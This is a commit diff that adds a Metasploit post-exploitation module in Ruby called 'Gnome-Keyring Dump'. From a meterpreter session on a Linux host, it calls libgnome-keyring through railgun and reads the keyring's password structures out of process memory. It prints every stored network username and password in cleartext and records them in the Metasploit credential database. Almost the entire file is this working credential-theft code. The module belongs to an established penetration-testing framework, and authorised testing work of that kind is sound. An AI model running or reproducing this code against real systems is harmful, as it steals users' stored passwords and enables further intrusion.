|
| 1 | +## |
| 2 | +# This module requires Metasploit: http://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'bindata' |
| 7 | + |
| 8 | +class MetasploitModule < Msf::Post |
| 9 | + |
| 10 | + def initialize(info={}) |
| 11 | + super(update_info(info, |
| 12 | + 'Name' => 'Gnome-Keyring Dump', |
| 13 | + 'Description' => %q{ |
| 14 | + Use libgnome-keyring to extract network passwords for the current user. |
| 15 | + This module does not require root privileges to run. |
| 16 | + }, |
| 17 | + 'Author' => 'Spencer McIntyre', |
| 18 | + 'License' => MSF_LICENSE, |
| 19 | + 'Platform' => [ 'linux' ], |
| 20 | + 'SessionTypes' => [ 'meterpreter' ] |
| 21 | + )) |
| 22 | + end |
| 23 | + |
| 24 | + class GList_x64 < BinData::Record |
| 25 | + endian :little |
| 26 | + uint64 :data_ptr |
| 27 | + uint64 :next_ptr |
| 28 | + uint64 :prev_ptr |
| 29 | + end |
| 30 | + |
| 31 | + class GList_x86 < BinData::Record |
| 32 | + endian :little |
| 33 | + uint32 :data_ptr |
| 34 | + uint32 :next_ptr |
| 35 | + uint32 :prev_ptr |
| 36 | + end |
| 37 | + |
| 38 | + # https://developer.gnome.org/glib/unstable/glib-Doubly-Linked-Lists.html#GList |
| 39 | + def struct_glist |
| 40 | + session.native_arch == ARCH_X64 ? GList_x64 : GList_x86 |
| 41 | + end |
| 42 | + |
| 43 | + class GnomeKeyringNetworkPasswordData_x64 < BinData::Record |
| 44 | + endian :little |
| 45 | + uint64 :keyring |
| 46 | + uint64 :item_id |
| 47 | + uint64 :protocol |
| 48 | + uint64 :server |
| 49 | + uint64 :object |
| 50 | + uint64 :authtype |
| 51 | + uint64 :port |
| 52 | + uint64 :user |
| 53 | + uint64 :domain |
| 54 | + uint64 :password |
| 55 | + end |
| 56 | + |
| 57 | + class GnomeKeyringNetworkPasswordData_x86 < BinData::Record |
| 58 | + endian :little |
| 59 | + uint32 :keyring |
| 60 | + uint32 :item_id |
| 61 | + uint32 :protocol |
| 62 | + uint32 :server |
| 63 | + uint32 :object |
| 64 | + uint32 :authtype |
| 65 | + uint32 :port |
| 66 | + uint32 :user |
| 67 | + uint32 :domain |
| 68 | + uint32 :password |
| 69 | + end |
| 70 | + |
| 71 | + # https://developer.gnome.org/gnome-keyring/stable/gnome-keyring-Network-Passwords.html#GnomeKeyringNetworkPasswordData |
| 72 | + def struct_gnomekeyringnetworkpassworddata |
| 73 | + session.native_arch == ARCH_X64 ? GnomeKeyringNetworkPasswordData_x64 : GnomeKeyringNetworkPasswordData_x86 |
| 74 | + end |
| 75 | + |
| 76 | + def init_railgun_defs |
| 77 | + unless session.railgun.dlls.has_key?('libgnome_keyring') |
| 78 | + session.railgun.add_dll('libgnome_keyring', 'libgnome-keyring.so.0') |
| 79 | + end |
| 80 | + session.railgun.add_function( |
| 81 | + 'libgnome_keyring', |
| 82 | + 'gnome_keyring_is_available', |
| 83 | + 'BOOL', |
| 84 | + [], |
| 85 | + nil, |
| 86 | + 'cdecl' |
| 87 | + ) |
| 88 | + session.railgun.add_function( |
| 89 | + 'libgnome_keyring', |
| 90 | + 'gnome_keyring_find_network_password_sync', |
| 91 | + 'DWORD', |
| 92 | + [ |
| 93 | + ['PCHAR', 'user', 'in'], |
| 94 | + ['PCHAR', 'domain', 'in'], |
| 95 | + ['PCHAR', 'server', 'in'], |
| 96 | + ['PCHAR', 'object', 'in'], |
| 97 | + ['PCHAR', 'protocol', 'in'], |
| 98 | + ['PCHAR', 'authtype', 'in'], |
| 99 | + ['DWORD', 'port', 'in'], |
| 100 | + ['PBLOB', 'results', 'out'] |
| 101 | + ], |
| 102 | + nil, |
| 103 | + 'cdecl' |
| 104 | + ) |
| 105 | + session.railgun.add_function( |
| 106 | + 'libgnome_keyring', |
| 107 | + 'gnome_keyring_network_password_list_free', |
| 108 | + 'VOID', |
| 109 | + [['LPVOID', 'list', 'in']], |
| 110 | + nil, |
| 111 | + 'cdecl' |
| 112 | + ) |
| 113 | + end |
| 114 | + |
| 115 | + def get_string(address, chunk_size=64, max_size=256) |
| 116 | + data = '' |
| 117 | + begin |
| 118 | + data << session.railgun.memread(address + data.length, chunk_size) |
| 119 | + end until data.include?("\x00") or data.length >= max_size |
| 120 | + |
| 121 | + if data.include?("\x00") |
| 122 | + idx = data.index("\x00") |
| 123 | + data = data[0...idx] |
| 124 | + end |
| 125 | + |
| 126 | + data[0...max_size] |
| 127 | + end |
| 128 | + |
| 129 | + def get_struct(address, record) |
| 130 | + record = record.new |
| 131 | + record.read(session.railgun.memread(address, record.num_bytes)) |
| 132 | + Hash[record.field_names.map { |field| [field, record[field]] }] |
| 133 | + end |
| 134 | + |
| 135 | + def get_list_entry(address) |
| 136 | + glist_struct = get_struct(address, struct_glist) |
| 137 | + glist_struct[:data] = get_struct(glist_struct[:data_ptr], struct_gnomekeyringnetworkpassworddata) |
| 138 | + glist_struct |
| 139 | + end |
| 140 | + |
| 141 | + def report_cred(opts) |
| 142 | + service_data = { |
| 143 | + address: opts[:ip], |
| 144 | + port: opts[:port], |
| 145 | + service_name: opts[:service_name], |
| 146 | + protocol: opts[:protocol], |
| 147 | + workspace_id: myworkspace_id |
| 148 | + } |
| 149 | + |
| 150 | + credential_data = { |
| 151 | + post_reference_name: self.refname, |
| 152 | + session_id: session_db_id, |
| 153 | + origin_type: :session, |
| 154 | + private_data: opts[:password], |
| 155 | + private_type: :password, |
| 156 | + username: opts[:username] |
| 157 | + }.merge(service_data) |
| 158 | + |
| 159 | + login_data = { |
| 160 | + core: create_credential(credential_data), |
| 161 | + status: Metasploit::Model::Login::Status::UNTRIED, |
| 162 | + }.merge(service_data) |
| 163 | + |
| 164 | + create_credential_login(login_data) |
| 165 | + end |
| 166 | + |
| 167 | + def resolve_host(name) |
| 168 | + address = @hostname_cache[name] |
| 169 | + return address unless address.nil? |
| 170 | + vprint_status("Resolving hostname: #{name}") |
| 171 | + begin |
| 172 | + address = session.net.resolve.resolve_host(name)[:ip] |
| 173 | + rescue Rex::Post::Meterpreter::RequestError |
| 174 | + end |
| 175 | + @hostname_cache[name] = address |
| 176 | + end |
| 177 | + |
| 178 | + def resolve_port(service) |
| 179 | + port = { |
| 180 | + 'ftp' => 21, |
| 181 | + 'http' => 80, |
| 182 | + 'https' => 443, |
| 183 | + 'sftp' => 22, |
| 184 | + 'ssh' => 22, |
| 185 | + 'smb' => 445 |
| 186 | + }[service] |
| 187 | + port.nil? ? 0 : port |
| 188 | + end |
| 189 | + |
| 190 | + def run |
| 191 | + init_railgun_defs |
| 192 | + @hostname_cache = {} |
| 193 | + libgnome_keyring = session.railgun.libgnome_keyring |
| 194 | + |
| 195 | + unless libgnome_keyring.gnome_keyring_is_available()['return'] |
| 196 | + fail_with(Failure::NoTarget, 'libgnome-keyring is unavailable') |
| 197 | + end |
| 198 | + |
| 199 | + result = libgnome_keyring.gnome_keyring_find_network_password_sync( |
| 200 | + nil, # user |
| 201 | + nil, # domain |
| 202 | + nil, # server |
| 203 | + nil, # object |
| 204 | + nil, # protocol |
| 205 | + nil, # authtype |
| 206 | + 0, # port |
| 207 | + session.native_arch == ARCH_X64 ? 8 : 4 |
| 208 | + ) |
| 209 | + |
| 210 | + list_anchor = result['results'].unpack(session.native_arch == ARCH_X64 ? 'Q' : 'L')[0] |
| 211 | + fail_with(Failure::NoTarget, 'Did not receive a list of passwords') if list_anchor == 0 |
| 212 | + |
| 213 | + entry = {:next_ptr => list_anchor} |
| 214 | + begin |
| 215 | + entry = get_list_entry(entry[:next_ptr]) |
| 216 | + pw_data = entry[:data] |
| 217 | + # resolve necessary string fields to non-empty strings or nil |
| 218 | + [:server, :user, :domain, :password, :protocol].each do |field| |
| 219 | + value = pw_data[field] |
| 220 | + pw_data[field] = nil |
| 221 | + next if value == 0 |
| 222 | + value = get_string(value) |
| 223 | + next if value.empty? |
| 224 | + pw_data[field] = value |
| 225 | + end |
| 226 | + |
| 227 | + # skip the entry if we don't at least have a username and password |
| 228 | + next if pw_data[:user].nil? or pw_data[:password].nil? |
| 229 | + |
| 230 | + printable = '' |
| 231 | + printable << "#{pw_data[:protocol]}://" unless pw_data[:protocol].nil? |
| 232 | + printable << "#{pw_data[:domain]}\\" unless pw_data[:domain].nil? |
| 233 | + printable << "#{pw_data[:user]}:#{pw_data[:password]}" |
| 234 | + unless pw_data[:server].nil? |
| 235 | + printable << "@#{pw_data[:server]}" |
| 236 | + printable << ":#{pw_data[:port]}" |
| 237 | + end |
| 238 | + print_good(printable) |
| 239 | + |
| 240 | + pw_data[:port] = resolve_port(pw_data[:protocol]) if pw_data[:port] == 0 and !pw_data[:protocol].nil? |
| 241 | + next if pw_data[:port] == 0 # can't report without a valid port |
| 242 | + ip_address = resolve_host(pw_data[:server]) |
| 243 | + next if ip_address.nil? # can't report without an ip address |
| 244 | + |
| 245 | + report_cred( |
| 246 | + ip: ip_address, |
| 247 | + port: pw_data[:port], |
| 248 | + protocol: 'tcp', |
| 249 | + service_name: pw_data[:protocol], |
| 250 | + username: pw_data[:user], |
| 251 | + password: pw_data[:password] |
| 252 | + ) |
| 253 | + |
| 254 | + end while entry[:next_ptr] != list_anchor and entry[:next_ptr] != 0 |
| 255 | + |
| 256 | + libgnome_keyring.gnome_keyring_network_password_list_free(list_anchor) |
| 257 | + end |
| 258 | +end |
0 commit comments